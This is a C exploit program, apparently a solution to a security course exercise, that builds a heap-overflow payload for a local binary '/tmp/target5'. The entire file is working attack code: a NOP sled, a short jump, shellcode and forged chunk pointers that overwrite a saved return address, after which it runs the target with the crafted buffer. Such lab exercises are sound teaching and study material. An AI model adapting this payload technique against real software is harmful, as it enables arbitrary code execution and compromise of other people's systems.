#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target5"

int main(void)
{
  char *args[3];
  char *env[1];
  char buf[1024];
  int i;
 
  int dummy_r, chnk_l, chnk_r; 
  
  args[0] = TARGET; args[1] = buf; args[2] = NULL;
  env[0] = NULL;

/* a large amount of help obtained from http://blogs.hulmahan.com.ph/archives/68 */

chnk_l = 0x08049bc8; // match to address of p
chnk_r = 0xbffffa8c; // match to return eip
dummy_r = chnk_r + 1;
for(i = 0; i < 1024; i++) {
  if(i < 2) {
    *(buf + i) = '\x90'; // <filler>
  } else if(i < 4) {
    memcpy((buf + i),"\xeb\x03",2); // <jump>
    i++;
  } else if(i < 8){
    *(buf + i) = dummy_r >> ((i - 4) * 8); // <fake right>
  } else if(i < (400 - strlen(shellcode))){ // p and q are 400 bytes apart
    *(buf + i) = '\x90'; // <nop>
  } else if(i < 400) {
    *(buf + i) = shellcode[i - 400 + strlen(shellcode)]; // <shellcode>
  } else if(i < 404) {
    *(buf + i) = chnk_l >> ((i - 400) * 8); // <left>
  } else if(i < 408) {
    *(buf + i) = chnk_r >> ((i - 404) * 8); // <right>
  } else if(i < 1023) {
    *(buf + i) = '\x90'; // <filler>
  } else {
    *(buf + i) = '\x00'; // terminate with null
  }
} 

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}
